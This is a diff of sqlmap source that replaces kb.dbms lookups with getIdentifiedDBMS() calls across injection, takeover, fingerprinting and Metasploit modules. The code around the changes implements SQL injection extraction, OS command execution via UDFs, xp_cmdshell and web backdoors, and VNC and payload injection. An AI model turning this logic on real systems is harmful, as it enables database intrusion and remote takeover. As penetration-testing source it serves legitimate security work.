limitGroupStart = queries[kb.dbms].limitgroupstart.query limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[kb.dbms].limitgroupstop.query limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitGroupStart.isdigit(): if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart))) startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -205,7 +206,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
stopLimit = int(topLimit.group(1)) stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif kb.dbms == DBMS.ORACLE: elif getIdentifiedDBMS() == DBMS.ORACLE:
limitCond = False limitCond = False
else: else:
limitCond = True limitCond = True
@ -219,16 +220,16 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
# From now on we need only the expression until the " LIMIT " # From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word # (or similar, depending on the back-end DBMS) word
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
stopLimit += startLimit stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring.query) untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
expression = expression[:untilLimitChar] expression = expression[:untilLimitChar]
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit stopLimit += startLimit
if not stopLimit or stopLimit <= 1: if not stopLimit or stopLimit <= 1:
if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"): if getIdentifiedDBMS() == DBMS.ORACLE and expression.endswith("FROM DUAL"):
test = "n" test = "n"
elif batch: elif batch:
test = "y" test = "y"
@ -239,7 +240,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
if not test or test[0] in ("y", "Y"): if not test or test[0] in ("y", "Y"):
# Count the number of SQL query entries output # Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0] countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields, countFirstField, 1) countedExpression = expression.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I): if re.search(" ORDER BY ", expression, re.I):
@ -327,7 +328,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, r
return outputs return outputs
elif kb.dbms == DBMS.ORACLE and expression.startswith("SELECT ") and " FROM " not in expression: elif getIdentifiedDBMS() == DBMS.ORACLE and expression.startswith("SELECT ") and " FROM " not in expression:
expression = "%s FROM DUAL" % expression expression = "%s FROM DUAL" % expression
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar) outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
@ -488,7 +489,7 @@ def goStacked(expression, silent=False):
if conf.direct: if conf.direct:
return direct(expression), None return direct(expression), None
comment = queries[kb.dbms].comment.query comment = queries[getIdentifiedDBMS()].comment.query
query = agent.prefixQuery("; %s" % expression) query = agent.prefixQuery("; %s" % expression)
query = agent.suffixQuery("%s;%s" % (query, comment)) query = agent.suffixQuery("%s;%s" % (query, comment))

View File

@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission
""" """
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
@ -40,10 +41,10 @@ class Abstraction(Web, UDF, xp_cmdshell):
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
self.webBackdoorRunCmd(cmd) self.webBackdoorRunCmd(cmd)
elif kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): elif getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.udfExecCmd(cmd, silent=silent) self.udfExecCmd(cmd, silent=silent)
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
self.xpCmdshellExecCmd(cmd, silent=silent) self.xpCmdshellExecCmd(cmd, silent=silent)
else: else:
@ -54,10 +55,10 @@ class Abstraction(Web, UDF, xp_cmdshell):
if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED): if self.webBackdoorUrl and not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED):
return self.webBackdoorRunCmd(cmd) return self.webBackdoorRunCmd(cmd)
elif kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): elif getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
return self.udfEvalCmd(cmd, first, last) return self.udfEvalCmd(cmd, first, last)
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
return self.xpCmdshellEvalCmd(cmd, first, last) return self.xpCmdshellEvalCmd(cmd, first, last)
else: else:
@ -92,13 +93,13 @@ class Abstraction(Web, UDF, xp_cmdshell):
logger.info(infoMsg) logger.info(infoMsg)
else: else:
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
infoMsg = "going to use injected sys_eval and sys_exec " infoMsg = "going to use injected sys_eval and sys_exec "
infoMsg += "user-defined functions for operating system " infoMsg += "user-defined functions for operating system "
infoMsg += "command execution" infoMsg += "command execution"
logger.info(infoMsg) logger.info(infoMsg)
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
infoMsg = "going to use xp_cmdshell extended procedure for " infoMsg = "going to use xp_cmdshell extended procedure for "
infoMsg += "operating system command execution" infoMsg += "operating system command execution"
logger.info(infoMsg) logger.info(infoMsg)
@ -150,9 +151,9 @@ class Abstraction(Web, UDF, xp_cmdshell):
warnMsg += "the session user is not a database administrator" warnMsg += "the session user is not a database administrator"
logger.warn(warnMsg) logger.warn(warnMsg)
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.udfInjectSys() self.udfInjectSys()
elif kb.dbms == DBMS.MSSQL: elif getIdentifiedDBMS() == DBMS.MSSQL:
if mandatory: if mandatory:
self.xpCmdshellInit() self.xpCmdshellInit()
else: else:

View File

@ -19,6 +19,7 @@ from subprocess import PIPE
from subprocess import Popen as execute from subprocess import Popen as execute
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getLocalIP from lib.core.common import getLocalIP
from lib.core.common import getRemoteIP from lib.core.common import getRemoteIP
from lib.core.common import getUnicode from lib.core.common import getUnicode
@ -186,13 +187,13 @@ class Metasploit:
if __payloadStr == "windows/vncinject": if __payloadStr == "windows/vncinject":
choose = False choose = False
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, it is likely that the the VNC " debugMsg += "user, it is likely that the the VNC "
debugMsg += "injection will be successful" debugMsg += "injection will be successful"
logger.debug(debugMsg) logger.debug(debugMsg)
elif kb.dbms == DBMS.PGSQL: elif getIdentifiedDBMS() == DBMS.PGSQL:
choose = True choose = True
warnMsg = "by default PostgreSQL on Windows runs as " warnMsg = "by default PostgreSQL on Windows runs as "
@ -200,7 +201,7 @@ class Metasploit:
warnMsg += "injection will be successful" warnMsg += "injection will be successful"
logger.warn(warnMsg) logger.warn(warnMsg)
elif kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
choose = True choose = True
warnMsg = "it is unlikely that the VNC injection will be " warnMsg = "it is unlikely that the VNC injection will be "
@ -229,12 +230,12 @@ class Metasploit:
break break
elif choice == "1": elif choice == "1":
if kb.dbms == DBMS.PGSQL: if getIdentifiedDBMS() == DBMS.PGSQL:
logger.warn("beware that the VNC injection might not work") logger.warn("beware that the VNC injection might not work")
break break
elif kb.dbms == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ): elif getIdentifiedDBMS() == DBMS.MSSQL and kb.dbmsVersion[0] in ( "2005", "2008" ):
break break
elif not choice.isdigit(): elif not choice.isdigit():
@ -554,7 +555,7 @@ class Metasploit:
# This is useful for sqlmap because on PostgreSQL it is not # This is useful for sqlmap because on PostgreSQL it is not
# possible to write files bigger than 8192 bytes abusing the # possible to write files bigger than 8192 bytes abusing the
# lo_export() feature implemented in sqlmap. # lo_export() feature implemented in sqlmap.
if kb.dbms == DBMS.PGSQL: if getIdentifiedDBMS() == DBMS.PGSQL:
self.__fileFormat = "exe-small" self.__fileFormat = "exe-small"
else: else:
self.__fileFormat = "exe" self.__fileFormat = "exe"
@ -656,7 +657,7 @@ class Metasploit:
self.__forgeMsfConsoleResource() self.__forgeMsfConsoleResource()
self.__forgeMsfConsoleCmd() self.__forgeMsfConsoleCmd()
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile) self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self.__randFile)
else: else:
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile) self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self.__randFile)

View File

@ -11,6 +11,7 @@ import os
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS
from lib.core.common import isTechniqueAvailable from lib.core.common import isTechniqueAvailable
from lib.core.common import readInput from lib.core.common import readInput
from lib.core.data import conf from lib.core.data import conf
@ -50,7 +51,7 @@ class UDF:
def __checkExistUdf(self, udf): def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf) logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[kb.dbms].check_udf.query % (udf, udf)) query = agent.forgeCaseStatement(queries[getIdentifiedDBMS()].check_udf.query % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2) exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2)
if exists == "1": if exists == "1":
@ -103,7 +104,7 @@ class UDF:
return output return output
def udfCheckNeeded(self): def udfCheckNeeded(self):
if ( not conf.rFile or ( conf.rFile and kb.dbms != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs: if ( not conf.rFile or ( conf.rFile and getIdentifiedDBMS() != DBMS.PGSQL ) ) and "sys_fileread" in self.sysUdfs:
self.sysUdfs.pop("sys_fileread") self.sysUdfs.pop("sys_fileread")
if not conf.osPwn: if not conf.osPwn:
@ -142,9 +143,9 @@ class UDF:
if udf in self.udfToCreate and udf not in self.createdUdf: if udf in self.udfToCreate and udf not in self.createdUdf:
self.udfCreateFromSharedLib(udf, inpRet) self.udfCreateFromSharedLib(udf, inpRet)
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
supportTblType = "longtext" supportTblType = "longtext"
elif kb.dbms == DBMS.PGSQL: elif getIdentifiedDBMS() == DBMS.PGSQL:
supportTblType = "text" supportTblType = "text"
self.udfCreateSupportTbl(supportTblType) self.udfCreateSupportTbl(supportTblType)
@ -155,8 +156,8 @@ class UDF:
self.udfInjectCore(self.sysUdfs) self.udfInjectCore(self.sysUdfs)
def udfInjectCustom(self): def udfInjectCustom(self):
if kb.dbms not in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() not in ( DBMS.MYSQL, DBMS.PGSQL ):
errMsg = "UDF injection feature is not yet implemented on %s" % kb.dbms errMsg = "UDF injection feature is not yet implemented on %s" % getIdentifiedDBMS()
raise sqlmapUnsupportedFeatureException(errMsg) raise sqlmapUnsupportedFeatureException(errMsg)
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct: if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED) and not conf.direct:
@ -235,9 +236,9 @@ class UDF:
else: else:
logger.warn("you need to specify the name of the UDF") logger.warn("you need to specify the name of the UDF")
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
defaultType = "string" defaultType = "string"
elif kb.dbms == DBMS.PGSQL: elif getIdentifiedDBMS() == DBMS.PGSQL:
defaultType = "text" defaultType = "text"
self.udfs[udfName]["input"] = [] self.udfs[udfName]["input"] = []

View File

@ -16,6 +16,7 @@ from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import filterControlChars from lib.core.common import filterControlChars
from lib.core.common import getCharset from lib.core.common import getCharset
from lib.core.common import getIdentifiedDBMS
from lib.core.common import goGoodSamaritan from lib.core.common import goGoodSamaritan
from lib.core.common import getPartRun from lib.core.common import getPartRun
from lib.core.common import popValue from lib.core.common import popValue
@ -49,7 +50,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
finalValue = "" finalValue = ""
asciiTbl = getCharset(charsetType) asciiTbl = getCharset(charsetType)
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
dbms = kb.dbms if kb.dbms else kb.misc.testedDbms
# Set kb.partRun in case "common prediction" feature (a.k.a. "good # Set kb.partRun in case "common prediction" feature (a.k.a. "good
# samaritan") is used # samaritan") is used
@ -121,7 +121,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
hintlock.release() hintlock.release()
if hintValue is not None and len(hintValue) >= idx: if hintValue is not None and len(hintValue) >= idx:
if dbms in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB): if getIdentifiedDBMS() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB):
posValue = hintValue[idx-1] posValue = hintValue[idx-1]
else: else:
posValue = ord(hintValue[idx-1]) posValue = ord(hintValue[idx-1])
@ -454,7 +454,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# check it via equal against the substring-query output # check it via equal against the substring-query output
if commonPattern is not None: if commonPattern is not None:
# Substring-query containing equals commonPattern # Substring-query containing equals commonPattern
subquery = queries[dbms].substring.query % (expressionUnescaped, 1, len(commonPattern)) subquery = queries[getIdentifiedDBMS()].substring.query % (expressionUnescaped, 1, len(commonPattern))
testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False) testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue))) query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
query = agent.suffixQuery(query) query = agent.suffixQuery(query)

View File

@ -15,6 +15,7 @@ from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import filterListValue from lib.core.common import filterListValue
from lib.core.common import getFileItems from lib.core.common import getFileItems
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getPageTextWordsSet from lib.core.common import getPageTextWordsSet
from lib.core.common import popValue from lib.core.common import popValue
from lib.core.common import pushValue from lib.core.common import pushValue
@ -31,7 +32,7 @@ from lib.core.session import safeFormatString
from lib.request import inject from lib.request import inject
def tableExists(tableFile, regex=None): def tableExists(tableFile, regex=None):
tables = getFileItems(tableFile, lowercase=kb.dbms in (DBMS.ACCESS), unique=True) tables = getFileItems(tableFile, lowercase=getIdentifiedDBMS() in (DBMS.ACCESS), unique=True)
retVal = [] retVal = []
infoMsg = "checking table existence using items from '%s'" % tableFile infoMsg = "checking table existence using items from '%s'" % tableFile

View File

@ -13,6 +13,7 @@ import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import extractRegexResult from lib.core.common import extractRegexResult
from lib.core.common import getIdentifiedDBMS
from lib.core.common import initTechnique from lib.core.common import initTechnique
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import replaceNewlineTabs from lib.core.common import replaceNewlineTabs
@ -44,7 +45,7 @@ def errorUse(expression):
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression) _, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr) nulledCastedField = agent.nullAndCastField(fieldToCastStr)
if kb.dbms == DBMS.MYSQL: if getIdentifiedDBMS() == DBMS.MYSQL:
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row' nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row'
expression = expression.replace(fieldToCastStr, nulledCastedField, 1) expression = expression.replace(fieldToCastStr, nulledCastedField, 1)

View File

@ -12,6 +12,7 @@ import time
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import clearConsoleLine from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import parseUnionPage from lib.core.common import parseUnionPage
from lib.core.common import randomStr from lib.core.common import randomStr
@ -62,7 +63,7 @@ def __unionPosition(comment, place, parameter, value, prefix, suffix, dbms, coun
# Perform the request # Perform the request
resultPage, _ = Request.queryPage(payload, place=place, content=True) resultPage, _ = Request.queryPage(payload, place=place, content=True)
if resultPage and " UNION ALL SELECT " not in resultPage and (randQuery not in resultPage or randQuery2 not in resultPage): if resultPage and " UNION ALL SELECT " not in resultPage and ((randQuery in resultPage and randQuery2 not in resultPage) or (randQuery not in resultPage and randQuery2 in resultPage)):
vector = (position, count, comment, prefix, suffix, conf.uChar, 2) vector = (position, count, comment, prefix, suffix, conf.uChar, 2)
break break
@ -96,13 +97,13 @@ def __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix
query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar) query = agent.prefixQuery("UNION ALL SELECT %s" % conf.uChar)
for count in range(conf.uColsStart, conf.uColsStop+1): for count in range(conf.uColsStart, conf.uColsStop+1):
if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"): if getIdentifiedDBMS() == DBMS.ORACLE and query.endswith(" FROM DUAL"):
query = query[:-len(" FROM DUAL")] query = query[:-len(" FROM DUAL")]
if count: if count:
query += ", %s" % conf.uChar query += ", %s" % conf.uChar
if kb.dbms == DBMS.ORACLE: if getIdentifiedDBMS() == DBMS.ORACLE:
query += " FROM DUAL" query += " FROM DUAL"
status = '%d/%d (%d%s)' % (count, conf.uColsStop, round(100.0*count/conf.uColsStop), '%') status = '%d/%d (%d%s)' % (count, conf.uColsStop, round(100.0*count/conf.uColsStop), '%')

View File

@ -14,6 +14,7 @@ from lib.core.agent import agent
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
from lib.core.common import clearConsoleLine from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import initTechnique from lib.core.common import initTechnique
from lib.core.common import parseUnionPage from lib.core.common import parseUnionPage
@ -65,12 +66,12 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
# NOTE: I assume that only queries that get data from a table can # NOTE: I assume that only queries that get data from a table can
# return multiple entries # return multiple entries
if " FROM " in expression and "EXISTS(" not in expression: if " FROM " in expression and "EXISTS(" not in expression:
limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I) limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
if limitRegExp: if limitRegExp:
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
limitGroupStart = queries[kb.dbms].limitgroupstart.query limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[kb.dbms].limitgroupstop.query limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitGroupStart.isdigit(): if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart))) startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -78,9 +79,9 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
stopLimit = limitRegExp.group(int(limitGroupStop)) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
limitGroupStart = queries[kb.dbms].limitgroupstart.query limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
limitGroupStop = queries[kb.dbms].limitgroupstop.query limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
if limitGroupStart.isdigit(): if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart))) startLimit = int(limitRegExp.group(int(limitGroupStart)))
@ -88,7 +89,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
stopLimit = limitRegExp.group(int(limitGroupStop)) stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1 limitCond = int(stopLimit) > 1
elif kb.dbms == DBMS.ORACLE: elif getIdentifiedDBMS() == DBMS.ORACLE:
limitCond = False limitCond = False
else: else:
limitCond = True limitCond = True
@ -102,12 +103,12 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
# From now on we need only the expression until the " LIMIT " # From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word # (or similar, depending on the back-end DBMS) word
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
stopLimit += startLimit stopLimit += startLimit
untilLimitChar = expression.index(queries[kb.dbms].limitstring.query) untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
expression = expression[:untilLimitChar] expression = expression[:untilLimitChar]
elif kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit stopLimit += startLimit
elif dump: elif dump:
if conf.limitStart: if conf.limitStart:
@ -116,14 +117,14 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
stopLimit = conf.limitStop stopLimit = conf.limitStop
if not stopLimit or stopLimit <= 1: if not stopLimit or stopLimit <= 1:
if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"): if getIdentifiedDBMS() == DBMS.ORACLE and expression.endswith("FROM DUAL"):
test = False test = False
else: else:
test = True test = True
if test: if test:
# Count the number of SQL query entries output # Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0] countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1) countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I): if re.search(" ORDER BY ", expression, re.I):
@ -171,9 +172,9 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
try: try:
for num in xrange(startLimit, stopLimit): for num in xrange(startLimit, stopLimit):
if kb.dbms in (DBMS.MSSQL, DBMS.SYBASE): if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
field = expressionFieldsList[0] field = expressionFieldsList[0]
elif kb.dbms == DBMS.ORACLE: elif getIdentifiedDBMS() == DBMS.ORACLE:
field = expressionFieldsList field = expressionFieldsList
else: else:
field = None field = None

View File

@ -22,6 +22,7 @@ from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getCompiledRegex from lib.core.common import getCompiledRegex
from lib.core.common import getFileItems from lib.core.common import getFileItems
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getPublicTypeMembers from lib.core.common import getPublicTypeMembers
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import paths from lib.core.common import paths
@ -267,10 +268,10 @@ def hashRecognition(value):
if value: if value:
for name, regex in getPublicTypeMembers(HASH): for name, regex in getPublicTypeMembers(HASH):
#hashes for Oracle and old MySQL look the same hence these checks # Hashes for Oracle and old MySQL look the same hence these checks
if kb.dbms == DBMS.ORACLE and regex == HASH.MYSQL_OLD: if getIdentifiedDBMS() == DBMS.ORACLE and regex == HASH.MYSQL_OLD:
continue continue
elif kb.dbms == DBMS.MYSQL and regex == HASH.ORACLE_OLD: elif getIdentifiedDBMS() == DBMS.MYSQL and regex == HASH.ORACLE_OLD:
continue continue
elif getCompiledRegex(regex).match(value): elif getCompiledRegex(regex).match(value):
retVal = regex retVal = regex

View File

@ -13,6 +13,7 @@ import time
from lib.core.common import calculateDeltaSeconds from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToSessionFile from lib.core.common import dataToSessionFile
from lib.core.common import dataToStdout from lib.core.common import dataToStdout
from lib.core.common import getIdentifiedDBMS
from lib.core.common import safeStringFormat from lib.core.common import safeStringFormat
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import replaceNewlineTabs from lib.core.common import replaceNewlineTabs
@ -33,8 +34,7 @@ def queryOutputLength(expression, payload):
Returns the query output length. Returns the query output length.
""" """
lengthQuery = queries[kb.dbms].length.query lengthQuery = queries[getIdentifiedDBMS()].length.query
select = re.search("\ASELECT\s+", expression, re.I) select = re.search("\ASELECT\s+", expression, re.I)
selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I) selectTopExpr = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I) selectDistinctExpr = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I)
@ -60,7 +60,7 @@ def queryOutputLength(expression, payload):
if selectDistinctExpr: if selectDistinctExpr:
lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression) lengthExpr = "SELECT %s FROM (%s)" % (lengthQuery % regExpr, expression)
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL ): if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
lengthExpr += " AS %s" % randomStr(lowercase=True) lengthExpr += " AS %s" % randomStr(lowercase=True)
elif select: elif select:
lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1) lengthExpr = expression.replace(regExpr, lengthQuery % regExpr, 1)
@ -142,10 +142,10 @@ def resume(expression, payload):
if not payload: if not payload:
return None return None
if not kb.dbms: if not getIdentifiedDBMS():
return None return None
substringQuery = queries[kb.dbms].substring.query substringQuery = queries[getIdentifiedDBMS()].substring.query
select = re.search("\ASELECT ", expression, re.I) select = re.search("\ASELECT ", expression, re.I)
_, length, regExpr = queryOutputLength(expression, payload) _, length, regExpr = queryOutputLength(expression, payload)

View File

@ -14,6 +14,7 @@ from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getCurrentThreadData from lib.core.common import getCurrentThreadData
from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.common import wasLastRequestDBMSError from lib.core.common import wasLastRequestDBMSError
@ -148,7 +149,7 @@ class Fingerprint(GenericFingerprint):
return value return value
def checkDbms(self): def checkDbms(self):
if (kb.dbms is not None and kb.dbms.lower() in ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES: if (getIdentifiedDBMS() is not None and getIdentifiedDBMS().lower() in ACCESS_ALIASES) or conf.dbms in ACCESS_ALIASES:
setDbms(DBMS.ACCESS) setDbms(DBMS.ACCESS)
if not conf.extensiveFp: if not conf.extensiveFp:

View File

@ -13,6 +13,7 @@ from lib.core.agent import agent
from lib.core.common import formatDBMSfp from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint from lib.core.common import formatFingerprint
from lib.core.common import getErrorParsedDBMSesFormatted from lib.core.common import getErrorParsedDBMSesFormatted
from lib.core.common import getIdentifiedDBMS
from lib.core.common import getUnicode from lib.core.common import getUnicode
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomRange from lib.core.common import randomRange
@ -97,13 +98,13 @@ class Fingerprint(GenericFingerprint):
def __dialectCheck(self): def __dialectCheck(self):
retVal = None retVal = None
if kb.dbms: if getIdentifiedDBMS():
